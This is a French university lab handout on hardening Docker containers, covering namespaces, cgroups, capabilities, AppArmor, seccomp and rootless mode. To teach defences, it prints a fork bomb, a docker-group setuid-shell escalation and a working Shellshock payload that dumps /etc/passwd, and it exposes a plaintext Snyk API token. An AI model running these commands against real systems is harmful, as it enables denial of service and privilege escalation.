TP/TD sécurité Docker

Jean-Marc Pouchoulon

Septembre 2022

1 Pré-requis, recommandations et notation du TP.

Les pré-requis sont les suivants :

- Avoir un PC sous Linux.
- Avoir installé Docker ou utilisé une OVA prête à l'emploi. Merci **de ne pas** utiliser les packages fournis par les distributions qui sont souvent moins récents que les packages fournis par Docker.
- Avoir installé docker-compose, il est présent sur les ova de l'IUT.
- Vous devrez avoir un compte sur le site Docker `https://hub.docker.com/`.

Vous travaillerez individuellement. Il vous explicitement demandé de faire valider votre travail par l'enseignant. Ces "checks" permettront de vous noter. Un compte rendu succinct (fichiers de configuration , copie d'écran montrant la réussite de la construction ...) est demandé et à rendre sur Moodle. Vous allez positionner les variables suivantes afin d'accélérer le build de vos images :

```
export DOCKER_BUILDKIT=1
export COMPOSE_DOCKER_CLI_BUILD=1
```

1.1 Installation de Docker et obtenir de l'aide.

1.1.1 Rappel : Installation de Docker sous Linux.

Vous travaillerez avec une VM en utilisant l'OVA Ubuntu dans sa dernière version L.T.S. présente sur `http://store.iutbeziers.fr/`

1.1.2 Aide sur Docker.

```
man docker-run
man docker-create
```

Accéder à la Documentation Docker :
`https://docs.docker.com/`
Documentation sur les commandes Docker :
`https://docs.docker.com/engine/reference/commandline/`
CheatSheet :
`http://cs.iutbeziers.fr/iutbrt/`
La complétion avec la touche tab fonctionne aussi.

2 Peurs sur les containers

2.1 Etat des lieux rapide de la sécurité des containers

Les containers sont souvent vu comme étant d'un niveau de sécurité moindre que celui d'une machine virtuelle. C'est le cas mais il ne fait pas perdre de vue que ce modèle est plus sécurisé que l'hébergement simple de plusieurs services sur un même hôte bien que systemd puisse apporter lui aussi des éléments de sécurité identiques à ceux utilisés dans les containers.

Un container reste donc plus sécurisé qu'un processus ou un groupe de processus lancé sur un hôte sans les contingentements fournis par les namespaces , les cgroups et les capabilities.

Néanmoins le mix de ces éléments impacte le niveau de privilèges du containers et il faut donc être conscient de ce que vous faites en donnant accès à tel ou tel privilège.Un container super-privilégié (ils sont parfois nécessaires) peut être très dangereux pour la sécurité de votre hôte.

En fonction des besoins de sécurité remontés par l'analyse de risques il est néanmoins concevable de mettre un container par machine virtuelle. Ces machines virtuelles sont minimalistes afin de fournir des performances acceptables dans le cadre d'un instanciation suffisamment rapide pour ne pas être considérée comme pénalisante.

C'est la tendance à ce jour.

2.2 Les menaces

Plusieurs menaces pèsent sur les containers :

- *L'installation de packages vulnérables :* des packages vulnérables peuvent être utilisés pour le build de l'image. Il est donc important d'utiliser un scanner de vulnérabilités donnant la liste et l'impact des "Common Vulnerabilities and Exposures" de l'image. Il est tout aussi important de disposer d'une chaîne d'intégration et de déploiement continu afin de mettre à jour les images en continu afin d'éviter une probabilité d'occurrence forte d'un incident de sécurité et/ou un impact important.
- *Vulnérabilités au build de l'image proprement dit* : construire une image avec des droits root ou du groupe Docker peut poser des problèmes si l'attaquant s'introduit dans la chaîne de build. L'utilisateur "root" est utilisé pour le daemon Docker ce qui est intrinsèquement dangereux.
- *L'intégrité des images de containers est un point important* : si l'attaquant modifie une image sur un registry à votre insu vous pouvez lui permettre d'accéder à votre environnement containérisé. Ce n'est pas un problème spécifique de Docker mais le succès des containers amplifie la probabilité de trouver des images corrompues...
- *Un container ne doit pas être plus privilégié que nécessaire* : en fonction des besoins il peut être judicieux de durcir le container en limitant les "capabilities" de celui-ci.
- *La question de l'appartenance des processus dans un container à un utilisateur est essentielle* : un processus appartenant au root de l'hôte dans un container induit une vulnérabilité en profondeur sur l'hôte et les autres containers dans le cas ou le container est compromis.
- *Attaques par dépassement des capacités* : un container qui n'est pas contingenté au niveau de ses ressources peut être soumis à un déni de services et peut perturber l'exploitation de l'application qu'il porte mais aussi les resources des autres containers voire de l'hôte lui-même.
- *l'encodage en dur des mots de passes ou de token* peut poser des problèmes triviaux mais courant comme en témoigne les chasseurs de secrets sur GitHub.
- *Vulnérabilités de l'hôte* : un hôte vulnérable ou exposant une large surface aux attaques donnera l'accès à tous les containers.
- *Vulnérabilités liées au réseau* : un container compromis peut permettre d'attaquer d'autres containers via le réseau si ceux ci sont accessibles.
- *L'infrastructure liée à Docker* doit être aussi prise en compte lors de l'analyse de risques : une socket d'un daemon Docker en accès distant ouvert est une porte d'entrée très appétissante pour un attaquant.

— Le Daemon Docker est lancé sous root afin de lui permettre de gérer les containers. Il est possible d'être "rootless" afin de limiter la surface d'attaque.
Dans le cadre d'un hébergement *"multi-tenants"*[1] on peut légitimement se poser la question de la sécurité de vos clients lors de l'utilisation de containers. Heureusement pour nous il existe des outils pour mitiger le risque ou l'accepter en toute connaissance de cause.

3 Utilisation des namespaces par Docker

Les namespaces permettent de dresser un décor pour les processus de nos containers. Le container ne verra que le contexte qu'on l'autorise à voir au travers des namespaces et *on ne peut pas attaquer ce qu'on ne peut pas atteindre*. Un container est donc contraint par les namespaces qui sont appliqués par le Kernel à ses processus.

3.1 Accéder au namespace de l'hôte depuis un container Docker c'est mal

Créez un container et vérifiez que les options suivantes de docker run "–pid=host" et "–net=host" permettent d'accéder aux processus et au réseau de l'hôte.

3.2 Utilisation des usernamespaces par Docker afin de limiter les droits d'un attaquant

Docker présente une fonctionnalité depuis la version 1.10 très intéressante et très attendue en terme de sécurité : la possibilité d'utiliser des "user namespaces".

Si l'attaquant prend le contrôle du container Docker et que le microservice du container est porté par root, l'attaquant a accès au root de l'hôte et donc aux autres containers.

Les "user namespaces" permettent d'avoir un compte qui a les droits de root dans le container et qui a les droits d'un utilisateur non privilégié sur l'hôte.

1. Activez l'option –userns-remap avec le daemon docker afin d'activer les usernamespaces pour l'ensemble de containers.
   Pour cela ajoutez dans le fichier/etc/docker/daemon.json

```
{
   "userns-remap" :"student"
}
```

   suivi de :

```
systemctl restart docker
```

   On va pouvoir ainsi mapper les uid/gid des users dans les containers à partir des fichiers /etc/subuid et /etc/subgid. Modifiez ce fichier.
2. Lancez un container avec un processus bash et vérifiez que dans le container ce processus est vu comme appartenant à root et comme appartenant à un utilisateur mappé dans l'hôte.
   Pour la suite du TP désactiver les usernamespaces ils sont parfois contraignants quand il faut accéder aux partages sur l'hôte.

3.3 Contrôle des ressources allouées aux processus d'un container

3.3.1 Contrôle des ressources des containers au travers des cgroups

Un attaquant peut saturer un container en lançant un déni de services. Si on ne limite pas les ressources consommées par un container, c'est l'hôte qui sera en manque de ressource à son tour. Il est donc important de limiter les ressources prises par un container via les CGROUPS.

1. comprendre plusieurs clients sur une même machine

1. A partir de ce Dockerfile.

```
FROM debian :latest
RUN apt-get update && \
apt-get install stress
```

   Générez une image d'un container "stresseur" :

```
cd ../buildstress
docker rmi jmp/stress
docker build -t jmp/stress .
```

2. Lancez le container "stresseur" et ouvrez une fenêtre htop pour voir la consommation de ressources sur l'hôte :
3. Récréez le container et limitez-le à l'utilisation d'un seul CPU.

Solution :

```
docker run -d  jmp/stress stress  --cpu 4 --timeout 20s
# docker ps
docker run --rm -d --cpus=0.5 registry.infres.local/pouchou/stress  stress  --cpu 8 --timeout 20s
```

3.3.2 Lutte contre l'épuisement des ressources du container et de l'hôte par déni de service local ("fork bomb" par exemple).

Une forkbomb crée des processus qui vont eux mêmes générer (appel système FORK) d'autres processus fils identiques au père.

La commande suivante permet de lister les ressources du container à l'aide de la commande docker stats :

```
docker stats --no-stream=True
CONTAINER      CPU %   MEM USAGE / LIMIT   MEM %  NET I/O  BLOCKI/O  PIDS
```

1. Dans votre machine virtuelle Ubuntu lancez une "forkbomb" bash dans un container.
   Si tout se passe bien votre container et votre machine virtuelle ne répondront plus, vous voilà prévenu...
   La commande suivante permet de lancer un container contenant une fork bomb :

```
docker exec -it deb1 /bin/bash -c " :(){ :| :& } ;:"
```

2. Trouvez le moyen lors de sa création (docker run) de limiter le nombre de processus dans le container.

Solution : Recréez votre container en utilisant l'option ** –pids-limit ** et vérifiez que la nuisance de la forkbomb est limitée.

```
docker stop deb1 && docker rm deb1
docker run -d --name deb1 --hostname deb1 --pids-limit=20  debian /bin/sh -c 'tailf /dev/null'
docker exec -it deb1 /bin/bash -c " :(){ :| :& } ;:"
```

4 Sécurisation des capacités données à un container Docker

Il existe des possibilités de rendre le container super-privilégié. C'est parfois nécessaire en dernier recours mais il faut en payer le prix en termes de sécurité.

4.1 Création d'un container privilégié

Utilisez l'option –privileged lors de la création d'un container. Dans le container et l'aide de la commande capsh et de la commande pscap [2] obtenez les capabilities de votre container et de votre processus bash. Comparez avec un container non privilegié.

A quelles capabilities l'option –privileged donne-t-elle accès ?

Solution :

```
docker run --rm registry.iutbeziers.fr/huntprod :caps
(via /proc/self/status)
00000000a80425fb (14 capabilities) :
chown                0 (0x00000000000001)  Make arbitrary changes to file UIDs and GIDs
dac_override         1 (0x00000000000002)  Bypass file read, write, and execute permission checks.
fowner               3 (0x00000000000008)  Bypass file ownership / process owner equality permission checks.
fsetid               4 (0x00000000000010)  Don't clear set-user-ID and set-group-ID mode bits when a file is modified
kill                 5 (0x00000000000020)  Bypass permission checks for sending signals.
setgid               6 (0x00000000000040)  Make arbitrary manipulations of process GIDs and supplementary GID list.
setuid               7 (0x00000000000080)  Make arbitrary manipulations of process UIDs.
setpcap              8 (0x00000000000100)  Manage capability sets (from bounded / inherited set).
net_bind_service     10 (0x00000000000400)  Bind a socket to Internet domain privileged ports.
net_raw              13 (0x00000000002000)  Use RAW and PACKET sockets.
sys_chroot           18 (0x00000000040000)  Use chroot(2) and manage kernel namespaces.
mknod                27 (0x00000008000000)  Create special files using mknod(2).
audit_write          29 (0x00000020000000)  Write records to kernel auditing log.
setfcap              31 (0x00000080000000)  Set arbitrary capabilities on a file.

 docker run --privileged --rm huntprod/caps
(via /proc/self/status)
0000003fffffffff (38 capabilities) :
chown                0 (0x00000000000001)  Make arbitrary changes to file UIDs and GIDs
dac_override         1 (0x00000000000002)  Bypass file read, write, and execute permission checks.
dac_read_search      2 (0x00000000000004)  Bypass file read permission checks and directory read and execute permission checks.
fowner               3 (0x00000000000008)  Bypass file ownership / process owner equality permission checks.
fsetid               4 (0x00000000000010)  Don't clear set-user-ID and set-group-ID mode bits when a file is modified
```

4.2 Prise de contrôle du container avec des capabilities permettant une escalade de privilèges

Nous allons utiliser les mécanismes existants de Docker afin de renforcer la sécurité d'un container.

Utilisez votre container ssh afin de voir si peut limiter les capabilities du processus sshd.

1. Lancez votre container (docker run -d –cap-drop= ...) en enlevant les capabilities une par une.
   Au final et de façon empirique vous obtiendrez un container à priori fonctionnel et plus sécurisé. Testez-le à chaque fois à l'aide de la commande :
   Aidez-vous de :
   `https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities`

   Solution :

2. installez le package libcap-ng-utils)

```
docker run -d \
--cap-drop=chown \
--cap-drop=dac_override \
--cap-drop=fowner \
--cap-drop=fsetid \
--cap-drop=kill \
--cap-drop=setpcap \
--cap-drop=mknod \
--cap-drop=setfcap \
--publish=2222 :22 \
--name serveurssh \
--hostname serveurssh \
jmp/sshd
63a7701282f7033dab57a742f83dd94d8222c8efcfecfe08b990cdbbfda8257e
Connexion au container :

sshpass -p 'root' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no   -p 2222
Linux serveurssh 4.5.0-0.bpo.2-amd64 #1 SMP Debian 4.5.3-2~bpo8+1 (2016-05-13) x86_64 GNU/Linux
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 13 :33 ?       00 :00 :00 /usr/sbin/sshd -D
root        25     1  0 13 :46 ?       00 :00 :00 sshd : root@notty
root        27    25  0 13 :46 ?       00 :00 :00 bash -c uname -a ;ps -ef ;
root        29    27  0 13 :46 ?       00 :00 :00 ps -ef
```

5 Attaque sur le daemon Docker par un utilisateur local à l'hôte.

1. Sous le compte d'un utilisateur appartenant au groupe Docker, trouvez le moyen d'accéder à /etc/-password et /usr/sbin/ de la machine en utilisant les volumes Docker.

Solution :

```
# recopie de sh dans /fullaccess du container qui est aussi ./fullaccess de l'hôte
docker run -it --name fullaccess -v $(pwd)/fullaccess :/fullaccess debian /bin/sh -c \
'cp /bin/sh /fullaccess/ && chmod a+s /fullaccess/sh ;exit'
ls -ltr ./fullaccess
```

2. Qu'en deduisez-vous de la sécurité d'un PC de développeur avec Docker ? [3]

Solution : Un utilisateur appartenant au groupe docker doit être considéré comme ayant les droits root sur l'hôte.

6 Utilisation de AppArmor afin de contrôler un container vulnérable à ShellShock

Shellshock est une faille du shell permettant à un attaquant de prendre la main sur une machine. voir :

- `https://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerabilit`
- `http://www.cert.ssi.gouv.fr/site/CERTFR-2014-ALE-006/index.html`

1. Créez le fichier simple-cgi-bin.sh

3. Voir plus loin la solution Docker en mode rootless

```
#!/bin/bash
echo "Content-type : text/plain"
echo
echo
echo "shellshockme if youcan"
```

2. Générez l'image Docker suivante vulnérable à ShellShock au travers de ce Dockerfile :
   Créez un container shell-shock à partir de l'image registry.iutbeziers.fr/debian-lenny-shellshock.

```
docker run -d -p 80 :80 --name=hitme --hostname=hitme jmp/shellshockme
```

3. Vérifiez qu'il est bien vulnérable à ShellShock en lancant un shell dans le container.
4. Vérifiez à l'aide d'un wget que vous pouvez récupérer "à distance" le fichier /etc/password du container.

Solution : On vérifie au travers de ces deux commandes que notre container est vulnérable à shellshock :

```
docker exec -it hitme /bin/bash -c "x='() { :;}; echo vulnerable' bash -c "echo ceci est un test""
vulnerable
wget -qO- -U "() { test ;} ;echo \"Content-type : text/plain\" ; echo ; echo ; /bin/cat /etc/passwd" http ://localhost/cgi-bin/sim
root :x :0 :0 :root :/root :/bin/bash
daemon :x :1 :1 :daemon :/usr/sbin :/bin/sh
bin :x :2 :2 :bin :/bin :/bin/sh
sys :x :3 :3 :sys :/dev :/bin/sh
sync :x :4 :65534 :sync :/bin :/bin/sync
games :x :5 :60 :games :/usr/games :/bin/sh
man :x :6 :12 :man :/var/cache/man :/bin/sh
lp :x :7 :7 :lp :/var/spool/lpd :/bin/sh
mail :x :8 :8 :mail :/var/mail :/bin/sh
news :x :9 :9 :news :/var/spool/news :/bin/sh
uucp :x :10 :10 :uucp :/var/spool/uucp :/bin/sh
proxy :x :13 :13 :proxy :/bin :/bin/sh
www-data :x :33 :33 :www-data :/var/www :/bin/sh
backup :x :34 :34 :backup :/var/backups :/bin/sh
list :x :38 :38 :Mailing List Manager :/var/list :/bin/sh
irc :x :39 :39 :ircd :/var/run/ircd :/bin/sh
gnats :x :41 :41 :Gnats Bug-Reporting System (admin) :/var/lib/gnats :/bin/sh
nobody :x :65534 :65534 :nobody :/nonexistent :/bin/sh
libuuid :x :100 :101 ::/var/lib/libuuid :/bin/sh
```

5. Utilisez AppArmor pour empêcher l'exploitation de ce container vulnérable.
   Docker charge une configuration apparmor `https://gist.github.com/pushou/3a8a08520ee9895bc9703114ad9c165`
   Rajoutez y la ligne
   deny /usr/lib/cgi-bin/** rwklx, afin de bloquer l'exécution des scripts cgi et donnez ce profile au container shellshock lors du run.

7 Utilisation d'un scanneur de vulnérabilités

Utilisez le scanneur de vulnerabilité Snyk sur l'image registry.iutbeziers.fr/debianiut en obtenant des conseils et en excluant les vulnérabilités de l'image de base.

Solution :

```
snyk auth # si graphique
export SNYK_TOKEN=05c691dd-8dd2-49db-a3b3-19e63b385047 # sinon
snyk container test registry.iutbeziers.fr/debianiut :latest --file=./debianiut/Dockerfile --exclude-base-image-vulns
```

8 Utilisation de SecComp pour limiter l'utilisation de certains appels systèmes

Seccomp permet de filtrer des appels systèmes en KernelLand. Vous devez vérifier que votre kernel supporte cette fonctionnalité :

```
cat /boot/config-uname -r | grep CONFIG_SECCOMP= CONFIG_SECCOMP=y
```

et que votre version de SecComp est supérieure à >= 2.2.1. La fonctionnalité a uniquement été testée avec succès sur Ubuntu 16.

1. Créez un fichier chmod.json qui va interdire le lancement de la commande chmod dans le container.

```
{
"defaultAction" : "SCMP_ACT_ALLOW",
"syscalls" : [
{
      "name" : "chmod",
      "action" : "SCMP_ACT_ERRNO"
  }
]
}
```

2. Créez un container et lancez un chmod 777 sur le fichier /etc/password.

   Solution : docker run –rm -it –security-opt seccomp :chmod.json debian chmod 777 /etc/-passwd chmod : /etc/hostname : Operation not permitted

9 Containers en lecture seule

Créez un container Web et mettez-le en lecture seule. C'est trivial et idéal pour des containers mettant à disposition des contenus statiques. Refaites-le mais avec /tmp en lecture-écriture.

10 Contrôle de l'élévation de privilèges dans un container via l'option "-security-opt=no-new-privileges"

Buildez l'image en suivant le README du repo git suivant :

`https://github.com/pushou/docker-secu-priv`

Testez et expliquez l'effet de cette option.

11 Rootless containers

Le mode rootless s'obtient le durcissement du daemon responsable de la gestion des containers qui n'a plus besoin d'être root afin de manager des containers.

Docker n'est pas le seul "manager" de processus containairisé : Podman de RedHat est rootless par construction. Docker est néanmoins capable de fonctionner en userspace. [4].

Sous le user student installez Docker en mode rootless :

```
sudo apt install slirp4netns uidmap
export FORCE_ROOTLESS_INSTALL=1
curl -sSL https ://get.docker.com/rootless | sh
sudo setcap cap_net_bind_service=ep $HOME/bin/rootlesskit
    /home/student/bin/dockerd-rootless.sh --experimental --storage-driver vfs
    export XDG_RUNTIME_DIR=/home/student/.docker/run
    export PATH=/home/student/bin :$PATH
export DOCKER_HOST=unix :///home/student/.docker/run/docker.sock
```

1. Lancez un container et donnez un port d'écoute inférieur à 1024.
2. Expliquez rapidement comment fonctionne Docker en mode Rootless.

12 Kata containers

Il s'agit de faire tourner un container dans une machine virtuelle. La solution des "kata containers" permet de faire exécuter un container dans une machine virtuele KVM ou FireCracker (VMS d'AWS). On va tester ici la solution avec KVM :

Sur votre Ubuntu 20 installez le runtime des "kata containers".

```
sudo snap install kata-containers --classic
```

Modifiez le fichier daemon.json et redémarrer Docker

```
{
"insecure-registries"  : ["registry.infres.local"],
"default-runtime" : "runc",
"runtimes" : {
kata-runtime" : {
"path" : "/snap/bin/kata-containers.runtime"
}
}
}
```

Créer un kata container en utilisant l'option "–runtime=kata-runtime". Vérifiez depuis votre container que vous êtes bien dans une machine virtuelle KVM.

13 Annexe : Débugguer un container

Les containers sont optimisés pour être les plus légers possibles et n'embarquent pas en général pas d'outils facilitant l'analyse. Voilà une façon de les débugguer (sur une idée de J. Petazzoni) [5] :

1. Générer une instance Apache. Cette instance ne contient pas d'éditeur ni de d'outils réseaux (iproute2/ifconfig)

```
    docker run  -d --rm  httpd
```

4. voir https ://docs.docker.com/engine/security/rootless/
5. `https://www.youtube.com/watch?v=-DsegUFcENc`

2. Télécharger un binaire statique busybox

```
wget https ://www.busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-x86_64 \
-O busybox && chmod +x busybox
```

3. Récupérez l'Id du container afin de copier le binaire busybox.

```
docker cp ./busybox id_du_container :/
```

4. Vous pouvez maintenant utiliser les commandes de busybox pour analyser votre container.

```
docker exec -it 1edd81a917315bf  /busybox ip a

1 : lo : <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00 :00 :00 :00 :00 :00 brd 00 :00 :00 :00 :00 :00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2 : tunl0@NONE : <NOARP> mtu 1480 qdisc noop state DOWN qlen 1000
link/ipip 0.0.0.0 brd 0.0.0.0
84 : eth0@if85 : <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02 :42 :ac :11 :00 :04 brd ff :ff :ff :ff :ff :ff
inet 172.17.0.4/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fd00 ::242 :ac11 :4/80 scope global flags 02
valid_lft forever preferred_lft forever
inet6 fe80 ::42 :acff :fe11 :4/64 scope link
valid_lft forever preferred_lft forever
```

5. Installez nsenter [6].
6. Trouvez le pid d'un process dans le container :

```
docker inspect id-du-container|grep -i pid
```

7. Utilisez nsenter pour retrouver les NameSpaces du container et lancez les commandes de votre hôte dans le container.

```
export LANG=C
nsenter --target PID_trouvé_précedemment -p -u -n -i
```

6. https://github.com/jpetazzo/nsenter